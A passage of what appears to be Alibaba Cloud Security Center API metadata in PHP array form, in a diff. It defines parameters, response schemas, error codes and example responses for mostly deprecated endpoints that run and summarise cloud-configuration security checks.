'int64', + 'example' => '102', + ], + ], + 'Description' => [ + 'description' => '检查项描述。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查描述属性类型。取值：'."\n" + ."\n" + .'- **text**：文本', + 'type' => 'string', + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项风险的描述类型为text时的文本内容。', + 'type' => 'string', + 'example' => 'Checks whether strict access control policies are configured. Requirements: 1. If no blacklists and whitelist are configured, configure a whitelist first. 2. If a blacklist is configured, find the blacklist in the list of access control policies. We recommend that you do not configure an empty blacklist. 3. If a whitelist is configured, find the whitelist in the list of access control policies. We recommend that you do not configure an empty whitelist. Make sure that the whitelist does not contain 0.0.0.0. You can add the following IP addresses to the whitelist: ${IPList}.', + ], + ], + ], + 'CustomConfigs' => [ + 'description' => '用户自定义检查配置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '用户自定义检查配置信息。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '用户自定义检查配置名称。', + 'type' => 'string', + 'example' => 'IPList', + ], + 'TypeDefine' => [ + 'description' => '检查项自定义配置项类型JSON字符串。', + 'type' => 'string', + 'example' => '{\\"type\\":\\"LIST\\",\\"range\\":[1,512],\\"listType\\":{\\"type\\":\\"STRING\\",\\"range\\":[0,22]}}', + ], + 'DefaultValue' => [ + 'description' => '检查项自定义配置项默认值字符串。', + 'type' => 'string', + 'example' => '0', + ], + 'Value' => [ + 'description' => '检查项自定义配置项用户配置字符串。', + 'type' => 'string', + 'example' => '1', + ], + 'ShowName' => [ + 'description' => '用户自定义检查配置展示名称。', + 'type' => 'string', + 'example' => 'IP列表', + ], + ], + ], + ], + 'EstimatedCount' => [ + 'description' => '预估的该检查项将消耗的授权数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'CheckType' => [ + 'description' => '态势感知检查项的来源类型：'."\n" + .' - **CUSTOM**：用户自定义'."\n" + .' - **SYSTEM**：态势感知平台预定义', + 'type' => 'string', + 'example' => 'SYSTEM', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页大小。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9F4E6157-9600-5588-86B9-38F09067****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CheckItems\\": [\\n {\\n \\"InstanceSubType\\": \\"INSTANCE\\",\\n \\"CheckId\\": 21,\\n \\"CheckShowName\\": \\"IPv4 Access Control\\",\\n \\"InstanceType\\": \\"API_GATEWAY\\",\\n \\"RiskLevel\\": \\"HIGH\\",\\n \\"Vendor\\": \\"0\\",\\n \\"SectionIds\\": [\\n 102\\n ],\\n \\"Description\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"Checks whether strict access control policies are configured. Requirements: 1. If no blacklists and whitelist are configured, configure a whitelist first. 2. If a blacklist is configured, find the blacklist in the list of access control policies. We recommend that you do not configure an empty blacklist. 3. If a whitelist is configured, find the whitelist in the list of access control policies. We recommend that you do not configure an empty whitelist. Make sure that the whitelist does not contain 0.0.0.0. You can add the following IP addresses to the whitelist: ${IPList}.\\"\\n },\\n \\"CustomConfigs\\": [\\n {\\n \\"Name\\": \\"IPList\\",\\n \\"TypeDefine\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"LIST\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"range\\\\\\\\\\\\\\":[1,512],\\\\\\\\\\\\\\"listType\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"range\\\\\\\\\\\\\\":[0,22]}}\\",\\n \\"DefaultValue\\": \\"0\\",\\n \\"Value\\": \\"1\\",\\n \\"ShowName\\": \\"IP列表\\"\\n }\\n ],\\n \\"EstimatedCount\\": 30,\\n \\"CheckType\\": \\"SYSTEM\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 10\\n },\\n \\"RequestId\\": \\"9F4E6157-9600-5588-86B9-38F09067****\\"\\n}","type":"json"}]', + 'title' => '获取可以进行自定义检查项配置模版列表', + ], + 'StartBaselineSecurityCheck' => [ + 'summary' => '执行云产品配置检查任务，支持全量检测或对单个检查项进行检查或验证。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92442', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '106.11.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值包括：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '检查的任务类型。取值包括：'."\n" + ."\n" + .'- **check**：执行检测'."\n" + .'- **verify**：执行验证', + 'type' => 'string', + 'required' => true, + 'example' => 'verify', + ], + ], + [ + 'name' => 'ItemIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项ID。'."\n" + ."\n" + .'> 执行云产品配置检查任务，需要提供检查项的ID，该ID可调用[DescribeRiskItemType](~~DescribeRiskItemType~~)接口获取。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项ID。'."\n" + ."\n" + .'> 执行云产品配置检查任务，需要提供检查项的ID，该ID可调用[DescribeRiskItemType](~~DescribeRiskItemType~~)接口获取。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '48D2E9A9-A1B0-4295-B727-0995757C47E9', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RiskItemDisabled', + 'errorMessage' => 'Check item not enabled', + ], + [ + 'errorCode' => 'AllRiskItemTaskNotFinished', + 'errorMessage' => 'All inspection items are not finished', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'substitutions' => [ + 'Sas::2018-12-03::SubmitCheck', + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"48D2E9A9-A1B0-4295-B727-0995757C47E9\\"\\n}","type":"json"}]', + 'title' => '执行云产品配置检查任务', + 'description' => '该接口已下线，使用升级接口SubmitCheck替换。', + ], + 'ModifySecurityCheckScheduleConfig' => [ + 'summary' => '设置云平台配置检查项的自动检测时间。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92389', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'DaysOfWeek', + 'in' => 'query', + 'schema' => [ + 'description' => '设置检测周期。支持设置多天，多天之间使用英文逗号隔开。取值：'."\n" + ."\n" + .'- **1**：周一'."\n" + .'- **2**：周二'."\n" + .'- **3**：周三'."\n" + .'- **4**：周四'."\n" + .'- **5**：周五'."\n" + .'- **6**：周六'."\n" + .'- **7**：周日', + 'type' => 'string', + 'required' => true, + 'example' => '4,5,6', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '设置检测开始时间。取值：'."\n" + ."\n" + .'- **0**：在00:00~6:00开始检测'."\n" + .'- **6**：在6:00~12:00开始检测'."\n" + .'- **12**：在12:00~18:00开始检测'."\n" + .'- **18**：在18:00~24:00开始检测'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '6', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '设置检测结束时间。取值：'."\n" + ."\n" + .'- **0**：在00:00~6:00结束检测'."\n" + .'- **6**：在6:00~12:00结束检测'."\n" + .'- **12**：在12:00~18:00结束检测'."\n" + .'- **18**：在18:00~24:00结束检测'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '12', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '02287C0D-8DA9-5766-B51A-A63192BD3E80', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'substitutions' => [ + 'Sas::2018-12-03::ChangeCheckConfig', + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"02287C0D-8DA9-5766-B51A-A63192BD3E80\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 02287C0D-8DA9-5766-B51A-A63192BD3E80\\n","errorExample":""}]', + 'title' => '设置云平台配置检查项的自动检测时间', + 'description' => '该接口已下线，使用升级接口ChangeCheckConfig替换。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeRiskItemType' => [ + 'summary' => '查看所有云产品配置检测项的类型。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。', + 'type' => 'string', + 'required' => false, + 'example' => '183.237.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '3B3F3A90-46A5-4023-A2D8-D68B14262F96', + ], + 'List' => [ + 'description' => '云产品配置检测项类型信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '云产品配置检测项类型信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '云产品配置检测项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '37625', + ], + 'Title' => [ + 'description' => '检测类型名称。', + 'type' => 'string', + 'example' => '身份认证及权限', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3B3F3A90-46A5-4023-A2D8-D68B14262F96\\",\\n \\"List\\": [\\n {\\n \\"Id\\": 37625,\\n \\"Title\\": \\"身份认证及权限\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查看所有云产品配置检测项的类型', + 'description' => '该接口已下线，使用升级接口ListCheckStandard替换。', + ], + 'DescribeRiskCheckSummary' => [ + 'summary' => '查看云产品配置检查结果汇总信息，包括风险项数量、风险率、影响资产数量、检测时间以及各个类型统计数据等。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '多账号安全管控的成员账户的AliUid。', + 'type' => 'string', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '291B49F9-1685-4005-9D34-606B6F78740F', + ], + 'RiskCheckSummary' => [ + 'description' => '云产品配置检查的结果统计。', + 'type' => 'object', + 'properties' => [ + 'ItemCount' => [ + 'description' => '检查项的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'AffectedAssetCount' => [ + 'description' => '检查结果中风险项影响的资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'DisabledRiskCount' => [ + 'description' => '检查不通过的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RiskCount' => [ + 'description' => '检查到的风险项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskRate' => [ + 'description' => '检查出的风险项数量在检查项总数中所占的百分比。', + 'type' => 'number', + 'format' => 'float', + 'example' => '0.25', + ], + 'PreviousCount' => [ + 'description' => '上次检查到的风险项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'PreviousTime' => [ + 'description' => '上次检查的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1545012926000', + ], + 'EnabledRiskCount' => [ + 'description' => '检查通过的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'RiskLevelCount' => [ + 'description' => '检查项每类危险等级的数量列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项每类危险等级的数量。', + 'type' => 'object', + 'properties' => [ + 'Key' => [ + 'description' => '检查项的危险等级。取值：'."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'medium', + ], + 'Count' => [ + 'description' => '检查项的危险等级的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + 'Groups' => [ + 'description' => '检查项类型的统计信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项类型的统计信息。', + 'type' => 'object', + 'properties' => [ + 'RemainingTime' => [ + 'description' => '预计检查时间。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Status' => [ + 'description' => '检查完成的状态。取值：'."\n" + ."\n" + .'- **finish**：检查已完成'."\n" + ."\n" + .'- **running**：检查中'."\n" + ."\n" + .'- **waiting**：检查等待中'."\n" + ."\n" + .'- **notStart**：检查未开始', + 'type' => 'string', + 'example' => 'finish', + ], + 'Sort' => [ + 'description' => '检查项类型在控制台**全部类型**下拉列表中的排列顺序。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Title' => [ + 'description' => '检查项类别的名称。', + 'type' => 'string', + 'example' => '身份认证及权限', + ], + 'Id' => [ + 'description' => '检查项类别ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'CountByStatus' => [ + 'description' => '检查项结果统计列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项结果统计。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '完成检查后，检查项的状态。取值：'."\n" + ."\n" + .'- **pass**：检查通过，表示检查项正常。'."\n" + ."\n" + .'- **failed**：检查不通过，表示检查项存在风险。', + 'type' => 'string', + 'example' => 'pass', + ], + 'Count' => [ + 'description' => '检查到的风险项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"291B49F9-1685-4005-9D34-606B6F78740F\\",\\n \\"RiskCheckSummary\\": {\\n \\"ItemCount\\": 4,\\n \\"AffectedAssetCount\\": 0,\\n \\"DisabledRiskCount\\": 0,\\n \\"RiskCount\\": 1,\\n \\"RiskRate\\": 0.25,\\n \\"PreviousCount\\": 0,\\n \\"PreviousTime\\": 1545012926000,\\n \\"EnabledRiskCount\\": 3,\\n \\"RiskLevelCount\\": [\\n {\\n \\"Key\\": \\"medium\\",\\n \\"Count\\": 1\\n }\\n ],\\n \\"Groups\\": [\\n {\\n \\"RemainingTime\\": 0,\\n \\"Status\\": \\"finish\\",\\n \\"Sort\\": 1,\\n \\"Title\\": \\"身份认证及权限\\",\\n \\"Id\\": 1,\\n \\"CountByStatus\\": [\\n {\\n \\"Status\\": \\"pass\\",\\n \\"Count\\": 2\\n }\\n ]\\n }\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 291B49F9-1685-4005-9D34-606B6F78740F\\n \\n 4\\n 0\\n 0\\n 1\\n 0.25\\n 0\\n 1545012926000\\n 3\\n \\n medium\\n 1\\n \\n \\n 0\\n finish\\n 1\\n 身份认证及权限\\n 1\\n \\n pass\\n 2\\n \\n \\n \\n","errorExample":""}]', + 'title' => '查看云产品配置检查结果汇总信息', + 'description' => '该接口已下线，使用升级接口GetCheckSummary替换。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeRiskCheckResult' => [ + 'summary' => '查询检查项的检测结果，可根据类别或名称进行筛选查询。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的检查项类型。取值：'."\n" + .'- **1**：身份认证及权限'."\n" + .'- **2**：网络访问控制'."\n" + .'- **3**：日志审计'."\n" + .'- **4**：数据安全'."\n" + .'- **5**：监控告警'."\n" + .'- **6**：基础安全防护'."\n" + ."\n" + .'> 不设置检查项类型，默认查询所有检查项类型。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'RiskLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的检查项风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '检查结果的状态。取值：'."\n" + .'- **pass**：通过 '."\n" + .'- **failed**：失败 '."\n" + .'- **running**：运行中 '."\n" + .'- **waiting**：等待运行 '."\n" + .'- **ignored**：已忽略 '."\n" + .'- **falsePositive**：已标记误报', + 'type' => 'string', + 'required' => false, + 'example' => 'pass', + ], + ], + [ + 'name' => 'AssetType', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的云产品类型。云产品类型对应的风险检查项详细信息，请参见本文档返回参数后的风险检查项表格。', + 'type' => 'string', + 'required' => false, + 'example' => 'RDS', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项名称。检查项名称及对应的风险检查项详细信息，请参见本文档返回参数后的风险检查项表格。', + 'type' => 'string', + 'required' => false, + 'example' => 'ALB_NetWorkAccessControl', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的检查结果的数量。默认值为**20**，表示每页显示20条检查结果。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'QueryFlag', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的启用状态。取值：'."\n" + ."\n" + .'- **enabled**：已启用'."\n" + .'- **disabled**：未启用', + 'type' => 'string', + 'required' => false, + 'example' => 'enabled', + ], + ], + [ + 'name' => 'ItemIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项ID。ID值对应的风险检查项详细信息请参见本文档返回参数后的风险检查项表格。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项ID。ID值对应的风险检查项详细信息请参见本文档返回参数后的风险检查项表格。', + 'type' => 'string', + 'required' => false, + 'example' => '15', + ], + 'required' => false, + 'example' => '1', + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'AD271C07-4ACE-413D-AA9B-F14FD3B7717F', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的检查结果的数量。默认值为**20**，表示每页显示20条检查结果。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的检查结果数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'PageCount' => [ + 'description' => '查询到的检查结果数据的总页数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'Count' => [ + 'description' => '分页查询时，显示的当前页的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'List' => [ + 'description' => '检查项信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '检查项的风险等级。取值：'."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'high', + ], + 'Status' => [ + 'description' => '检查项检查状态。取值：'."\n" + ."\n" + .'- **pass**：通过 '."\n" + .'- **failed**：失败 '."\n" + .'- **running**：运行中 '."\n" + .'- **waiting**：等待运行 '."\n" + .'- **ignored**：已忽略 '."\n" + .'- **falsePositive**：已标记误报', + 'type' => 'string', + 'example' => 'pass', + ], + 'Type' => [ + 'description' => '检查项类型。取值：'."\n" + .''."\n" + .'- 身份认证及权限'."\n" + .'- 网络访问控制'."\n" + .'- 日志审计'."\n" + .'- 数据安全'."\n" + .'- 监控告警'."\n" + .'- 基础安全防护'."\n" + .''."\n" + .''."\n" + .'- Identity and permissions'."\n" + .'- Network access control'."\n" + .'- Log audit'."\n" + .'- Data Security'."\n" + .'- Monitoring alarm'."\n" + .'- Basic security protection'."\n" + .''."\n", + 'type' => 'string', + 'example' => 'Log audit', + ], + 'Sort' => [ + 'description' => '检查结果的排序序号。仅决定展示检查项的顺序。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RepairStatus' => [ + 'description' => '配置检查项是否支持修复功能。取值：'."\n" + ."\n" + .'- **enabled**：支持修复'."\n" + .'- **disabled**：不支持修复', + 'type' => 'string', + 'example' => 'disabled', + ], + 'RemainingTime' => [ + 'description' => '预计下一次检查的时间。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ItemId' => [ + 'description' => '检查项ID。检查项ID及对应的风险检查项详细信息请参见本文档返回参数后的风险检查项表格。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'StartStatus' => [ + 'description' => '检查项启用状态。取值：'."\n" + ."\n" + .'- **enabled**：用户所用的产品版本支持检测该检查项。'."\n" + .'- **disable**：用户所用的产品版本不支持检测该检查项。', + 'type' => 'string', + 'example' => 'enabled', + ], + 'AffectedCount' => [ + 'description' => '受影响的资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RiskAssertType' => [ + 'description' => '受影响的资产类型。', + 'type' => 'string', + 'example' => 'ECS', + ], + 'Title' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => 'RDS - Whitelist Configuration', + ], + 'TaskId' => [ + 'description' => '检查任务的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '15384933', + ], + 'CheckTime' => [ + 'description' => '最新检测的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1639429164000', + ], + 'RiskItemResources' => [ + 'description' => '检查项的详情数据。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的详情。', + 'type' => 'object', + 'properties' => [ + 'ContentResource' => [ + 'description' => '检查结果详情。', + 'type' => 'object', + 'additionalProperties' => [ + 'type' => 'any', + 'example' => '{'."\n" + .' "type": "link",'."\n" + .' "url": "https://***.aliyun.com/abc.html",'."\n" + .' "value": "https://***.aliyun.com/abc.html"'."\n" + .'}', + 'description' => '检查结果详情。', + ], + 'example' => '{ "type": "link", "value": "未开启多因素认证，存在风险\\n", "url": "https://***.aliyun.com/#/secure\\n" }', + ], + 'ResourceName' => [ + 'description' => '详情的标题。取值：'."\n" + ."\n" + .'- **bestPractice**：检查描述'."\n" + .'- **influence**：威胁影响'."\n" + .'- **suggestion**：指导方案'."\n" + .'- **helpResource**：帮助资源', + 'type' => 'string', + 'example' => 'bestPractice', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n 